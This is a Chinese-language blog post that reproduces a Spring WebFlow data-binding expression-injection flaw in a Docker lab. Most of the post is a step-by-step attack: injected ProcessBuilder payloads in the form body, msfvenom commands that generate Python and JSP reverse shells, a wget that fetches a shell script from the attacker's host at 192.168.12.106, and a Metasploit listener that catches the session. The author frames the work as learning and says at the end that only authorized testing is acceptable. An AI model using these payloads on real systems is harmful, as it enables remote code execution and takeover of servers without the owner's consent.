说明:做安全的,思路不猥琐是日不下站的,必须变的猥琐起来,各种思路就会在你脑海中迸发
这个漏洞在六月份的时候就被提交了,但是官方也没有消息,所以圈子里没有人关注也就属于正常现象了。漏洞分析也在三天前发了出来,但是同样不温不火。我也是今天才知道。。所以在没有事情的时候测试了一波,配合各种猥琐思路,成功拿到一个反弹的会话。
Spring WebFlow在Model的数据绑定上面,由于没有明确指定相关model的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞。但是复现的环境比较苛刻了。除了版本的限制之外还有两个前置条件,这两个前置条件中有一个是默认配置,另外一个就是编码规范了,漏洞能不能利用成功主要就取决于后面的条件。
删删写写,真的不知道要怎么描述,附上这个漏洞分析的链接:分析链接
看完文章反正我是觉得作者好牛的,直接从人家官方发布的补丁中分析出漏洞。我等小菜只负责学习审计思路,复现就好。
docker
环境下载地址:点击这里
别问我为什么不自己陪环境。。将一句心里话,我真的感觉做J2EE
开发的程序员真心牛,他们陪个环境分分钟的事情,还不会报错。今天本来打算自己配置这个spring
环境的,结果,配置哭了,一天都没搞好。。还是python
好,环境那么好配置。需要什么下什么,重点是一般都不会报什么错误。
没说JAVA
不牛,大型项目还得他。zap
还是用java
写的囊,多牛。单纯环境难配置而已啦,啊哈哈
果断选择别人做好的Docker
克隆完成后,执行两条命令
> docker-compose build> docker-compose up -d>
完成之后访问http://ip:30082端口就一切ok了
按理来说访问到这个页面就可以执行漏洞操作了,但是为了方便后续的操作,可以进入docker
环境的终端
docker ps –查看当前运行的docker进程
docker exec -it [id号] /bin/bash
之后登陆操作吧
访问:http://ip:30082/hotels/3
ps: 标记的订单号要写16位
之后设置好代理,进行抓包。
点击Confirm
,在抓到的包之后添加
>&_(new+java.lang.ProcessBuilder("touch","/tmp/success")).start()=iswin>
Go
返回Error
不管,直接来到docker
下的tmp
目录看结果
成功生成一个success文件.
默认是 没有python
的,方便我的猥琐思路当然要装一个~
apt-get install python
文件创建成功了,还能命令执行,那还说啥子嘛~?直接上python
反弹payload
去执行
用msfvenom
生成反弹的payload
msfvenom -p cmd/unix/reverse_python lhost=192.168.12.106 lport=4444 -o shell.py
获取反弹需要执行的代码
cat shell.py
但是这个时候注意到一个东西""
,双引号这个东西,如果放到包中去会被闭合,那样的代码肯定没办法执行啊。不得行,不得不换下一个思路。
正在想怎么办,测试了一个别的命令,之后发现,命令之间不能加空格。。。如下
并没有执行成功。
Spring
框架,那肯定跟jsp
挂钩,直接wget
一个jsp马,因为wget命令默认是当前文件夹下,因为上面的得出的结论,并不能添加空格,指定路径,(就算能指定路径,也不知道绝对路径在哪里啊- -!),但是总得尝试的,测一下试试吧。
同样使用msfvenom
msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.12.106 lport=4444 -o shell.jsp
把马移动到/var/www/html
目录下,保证可以远程下载
mv shell.jsp /var/www/html/shell.jsp
service apache2 start
抓包,改包
&_(new+java.lang.ProcessBuilder(“wget”,”http://192.168.12.106/shell.jsp")).start()=iswin).start()=iswin)
不知道上传到了哪里,执行以下find
命令,发现并不在网站根目录下。而是在tomcat目录下
怎么办?mv
过去?首先,你不知道网站绝对路径,其次命令中不能加空格啊。好气啊,眼看到手的shell又飞了。不得不继续想办法。
方法肯定不止这一种,没有上面的两种思路,也不会有最后这种骚套路。你想到没?
实现方法:wget
+python
反弹shell
相信有经验童鞋已经有思路了。肯定很多人还蒙着囊,不是python
双引号被闭合了吗,还要怎么执行???
还不能有空格,怎么玩???别急嘛。
wget
可以执行,并且默认都是在一个目录下的,没错python
是不能执行,但是shell
脚本可以执行啊。
把刚刚生成的python
脚本写到一个shell
脚本里,下载下来直接执行,一切不就ok了,每空格吧~,双引号?跟我有关系么,哈哈~思路有了,测试.
msfvenom
生成反弹的payload
msfvenom -p cmd/unix/reverse_python lhost=192.168.12.106 lport=4444 -o /var/www/html/shell.sh
打开Metasploit
设置监听
use exploit/multi/handler
set payload cmd/unix/reverse_python
set lhost 192.168.12.106
set lport 4444
exploit
提交吧
&_(new+java.lang.ProcessBuilder(“wget”,”http://192.168.12.106/shell.sh")).start()=iswin).start()=iswin)
执行shell
脚本
&_(new+java.lang.ProcessBuilder(“/bin/bash”,”shell.sh”)).start()=iswin
成功返回会话
docker
没有ifconfig
命令的=
如果想获取Meterpreter
回话,你觉得还会远么?自己YY
之前还想写个检测脚本研究一下了,但是写着写着好像突然感觉到,这个漏洞没有像struts
那个漏洞一样掀起浪潮是有原因的。他并不能像strtus
这个漏洞那样直接可以测试的出,只有白盒才能测出问题所在,知道哪里使用了addEmptyValueMapping
这个函数。并不能直接黑盒测试,或许也可以,将所有提交的数据包都加入payload
检测,那相当于扫描全站了。或许在拿到授权的测试下,还是可以试一下的,但是我们这种复现漏洞的,还是别拿人家网站乱扫了。。
而且,我觉得这个漏洞并不会大片存在,环境相对而言还是比较苛刻的。